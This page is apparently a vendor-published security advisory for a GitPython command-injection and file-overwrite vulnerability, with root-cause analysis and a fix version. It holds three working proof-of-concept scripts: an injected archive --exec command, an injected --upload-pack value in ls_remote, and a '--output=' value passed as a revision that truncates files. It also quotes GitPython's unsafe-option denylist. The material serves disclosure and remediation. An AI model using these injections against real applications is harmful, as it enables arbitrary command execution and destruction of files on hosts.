GHSA-956X-8GVW-WG5V

GHSA-956X-8GVW-WG5V is a high-severity command injection vulnerability in GitPython (pip), affecting versions <= 3.1.50. It is fixed in 3.1.51.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

GitPython: command injection via unguarded Git options in Repo.archive(), git.lsremote(), and arbitrary file overwrite via Repo.itercommits() / Repo.blame()

GitPython spawns the real git binary with an argument vector built from caller-supplied values. To prevent argument injection, GitPython maintains denylists of "unsafe" Git options (--upload-pack, --receive-pack, --exec, -c, --config, …) that can be abused to run arbitrary commands, and enforces them with Git.check_unsafe_options().

That enforcement is only wired into the network commands, clone_from, Remote.fetch, Remote.pull, Remote.push. Several other public APIs that also forward caller-controlled values into the git argv have no guard at all:

  1. Repo.archive(ostream, treeish=None, prefix=None, **kwargs) forwards **kwargs verbatim into git archive. An attacker-influenced options mapping such as {"remote": ".", "exec": "<cmd>"} becomes git archive --remote=. --exec=<cmd> -- <treeish>, and git archive --remote=<local repo> invokes git-upload-archive whose path is overridden by --execarbitrary command execution under default Git configuration (no protocol.ext.allow needed).

  2. repo.git.ls_remote(<url>, upload_pack="<cmd>") (and the dynamic-command builder generally) turns the upload_pack kwarg into --upload-pack=<cmd> with no guard → arbitrary command execution.

  3. Repo.iter_commits(rev) and Repo.blame(rev, file) place the caller's rev value into the argv before the -- end-of-options separator and apply no leading-dash check. A benign-looking ref value such as --output=/path/to/file is parsed by git rev-list / git blame as the --output option, which opens and truncates an arbitrary file before Git even validates the revision → arbitrary file clobber (integrity/availability; can destroy keys, configs, lockfiles, or be aimed at files the host later sources).

The first two are direct code execution; the third is an arbitrary file-overwrite primitive. All share one root cause: the check_unsafe_options / end-of-options discipline that GitPython applies to clone/fetch/pull/push was never extended to these sinks.

Details

GitPython explicitly recognises these options as command-execution vectors. git/remote.py:535:

unsafe_git_fetch_options = [
    # Arbitrary command execution.
    "--upload-pack",
    "--receive-pack",
    # Arbitrary file overwrite.
    "--exec",
]

and enforces them via Git.check_unsafe_options() (git/cmd.py:963):

def check_unsafe_options(cls, options, unsafe_options):
    ...
    if unsafe_option is not None:
        raise UnsafeOptionError(f"{unsafe_option} is not allowed, use `allow_unsafe_options=True` to allow it.")

But check_unsafe_options is invoked from only five sites, all network commands:

git/remote.py:1071   Remote.fetch
git/remote.py:1125   Remote.pull
git/remote.py:1198   Remote.push
git/repo/base.py:1410 / :1412  Repo.clone_from

The following sinks call git with caller-controlled options/positionals and are not guarded:

1. Repo.archive, command execution (git/repo/base.py:1623)

def archive(self, ostream, treeish=None, prefix=None, **kwargs):
    ...
    self.git.archive("--", treeish, *path, **kwargs)
    return self

treeish and path are correctly placed after --, but **kwargs are converted by Git.transform_kwarg (git/cmd.py:1487) into --<name>=<value> flags and inserted before the -- by _call_process, with no check_unsafe_options. Repo.archive already documents user-facing kwargs (format, prefix, path), so forwarding a caller options mapping is an expected usage. Final argv:

git archive --remote=. --exec=<cmd> -- <treeish>

git archive --remote=<repo> runs the upload-archive helper; --exec=<cmd> overrides the helper path, executing <cmd> on the host. This works with default Git config, it does not rely on the ext:: transport (which is blocked by default).

2. repo.git.ls_remote(..., upload_pack=...), command execution (dynamic builder, git/cmd.py:1487)

transform_kwarg dashifies upload_pack--upload-pack=<value>. git ls-remote <local-repo> --upload-pack=<cmd> executes <cmd>. The dynamic builder makes both the flag name and value caller-controlled (repo.git.<anything>(**user_dict)), and ls_remote has no check_unsafe_options.

This is exactly the underscore-kwarg-vs-hyphen-kwarg gap that CVE-2026-42215 fixed for fetch/pull/push/clone_from, but ls_remote and the rest of the dynamic surface were left unpatched.

3. Repo.iter_commits / Repo.blame, arbitrary file overwrite (git/objects/commit.py:348, git/repo/base.py:1199)

# Commit.iter_items (reached via Repo.iter_commits)
proc = repo.git.rev_list(rev, args_list, as_process=True, **kwargs)   # args_list == ["--", *paths]
# Repo.blame
data = self.git.blame(rev, *rev_opts, "--", file, p=True, stdout_as_string=False, **kwargs)

rev is placed before --, with no leading-dash check anywhere in the path. A caller passing rev="--output=/path" (a value that looks like an ordinary ref/branch/tag string an app forwards from user input) produces:

git rev-list --output=/path --

git rev-list/log/blame honour --output=<file>, which open()s and truncates the file before validating the revision, so the file is destroyed even though Git then errors out on the bad revision.

PoC

All three PoCs are self-contained, run against the released GitPython 3.1.50 under default Git configuration, and were executed live (git 2.51.0). Each prints a host-side marker proving the effect.

Install

python3 -m venv venv && . venv/bin/activate
pip install GitPython           # resolves to 3.1.50
python -c "import git; print(git.__version__)"   # 3.1.50

PoC 1, command execution via Repo.archive

# archive_rce.py
import io, os, tempfile, subprocess, git

d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','[email protected]','-c','user.name=a',
                'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)

marker = os.path.join(tempfile.gettempdir(), 'gp_rce_marker')
if os.path.exists(marker): os.remove(marker)

# a service lets a user export a repo and forwards their options dict
opts = {'remote': '.', 'exec': 'touch ' + marker}
try:
    repo.archive(io.BytesIO(), **opts)
except git.exc.GitCommandError as e:
    print('[*] git exited non-zero (expected), but the exec already ran:', str(e).splitlines()[0][:60])

print('[+] marker present:', os.path.exists(marker))

Verbatim output:

[*] git exited non-zero (expected), but the exec already ran: Cmd('git') failed due to: exit code(128)
[+] marker present: True

git config --get protocol.ext.allow returns nothing (unset = default), confirming no special config is required.

PoC 2, command execution via git.ls_remote(upload_pack=...)

# lsremote_rce.py
import os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','[email protected]','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
marker = os.path.join(tempfile.gettempdir(),'gp_lsr_marker')
if os.path.exists(marker): os.remove(marker)
try:
    repo.git.ls_remote('.', upload_pack='touch '+marker+';')
except git.exc.GitCommandError as e:
    print('[*] git err:', str(e).splitlines()[0][:50])
print('[+] ls-remote marker present:', os.path.exists(marker))

Verbatim output:

[*] git err: Cmd('git') failed due to: exit code(128)
[+] ls-remote marker present: True

PoC 3, arbitrary file overwrite via a benign-looking rev

# itercommits_filewrite.py
import os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','[email protected]','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
victim = os.path.join(tempfile.gettempdir(),'gp_fw_victim')
open(victim,'w').write('do not delete\n')
print('[*] before:', repr(open(victim).read()))
user_ref = '--output=' + victim          # value an app forwards as a "ref/branch"
try:
    list(repo.iter_commits(user_ref))
except git.exc.GitCommandError as e:
    print('[*] git err (after open+truncate):', str(e).splitlines()[0][:50])
print('[+] after :', repr(open(victim).read()), '<- truncated')

Verbatim output:

[*] before: 'do not delete\n'
[*] git err (after open+truncate): Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated

Impact

Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command. Typical impact: arbitrary command execution in the application's environment.

GHSA-956X-8GVW-WG5V has a CVSS score of 8.4 (High). The vector is requires local access, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.1.51); upgrading removes the vulnerable code path.

Affected versions

GitPython (<= 3.1.50)

Security releases

GitPython → 3.1.51 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade GitPython to 3.1.51 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-956X-8GVW-WG5V? GHSA-956X-8GVW-WG5V is a high-severity command injection vulnerability in GitPython (pip), affecting versions <= 3.1.50. It is fixed in 3.1.51. Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command.
  2. How severe is GHSA-956X-8GVW-WG5V? GHSA-956X-8GVW-WG5V has a CVSS score of 8.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of GitPython are affected by GHSA-956X-8GVW-WG5V? GitPython (pip) versions <= 3.1.50 is affected.
  4. Is there a fix for GHSA-956X-8GVW-WG5V? Yes. GHSA-956X-8GVW-WG5V is fixed in 3.1.51. Upgrade to this version or later.
  5. Is GHSA-956X-8GVW-WG5V exploitable, and should I be worried? Whether GHSA-956X-8GVW-WG5V is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-956X-8GVW-WG5V is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-956X-8GVW-WG5V? Upgrade GitPython to 3.1.51 or later.

Other vulnerabilities in GitPython

Stop the waste.
Protect your environment with Kodem.